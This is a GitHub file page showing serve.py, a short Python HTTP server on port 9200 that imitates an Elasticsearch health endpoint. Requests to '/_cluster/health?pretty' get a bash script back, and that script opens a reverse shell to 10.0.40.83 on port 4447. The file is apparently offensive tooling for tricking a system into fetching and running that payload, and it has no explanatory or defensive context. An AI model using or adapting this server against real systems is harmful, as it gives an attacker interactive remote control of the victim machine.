-
Notifications
You must be signed in to change notification settings - Fork 2
Expand file tree
/
Copy pathserve.py
More file actions
24 lines (20 loc) · 760 Bytes
/
serve.py
File metadata and controls
24 lines (20 loc) · 760 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from http.server import HTTPServer, BaseHTTPRequestHandler
class MyHandler(BaseHTTPRequestHandler):
def do_GET(self):
if self.path == '/_cluster/health?pretty':
self.send_response(200)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
resp = b"""#!/bin/bash
bash -i >& /dev/tcp/10.0.40.83/4447 0>&1
"""
self.wfile.write(resp)
else:
self.send_response(404)
self.send_header('Content-Type', 'text/plain')
self.end_headers()
self.wfile.write(b"Not Found")
if __name__ == '__main__':
server = HTTPServer(('0.0.0.0', 9200), MyHandler)
print("Server running on http://0.0.0.0:9200")
server.serve_forever()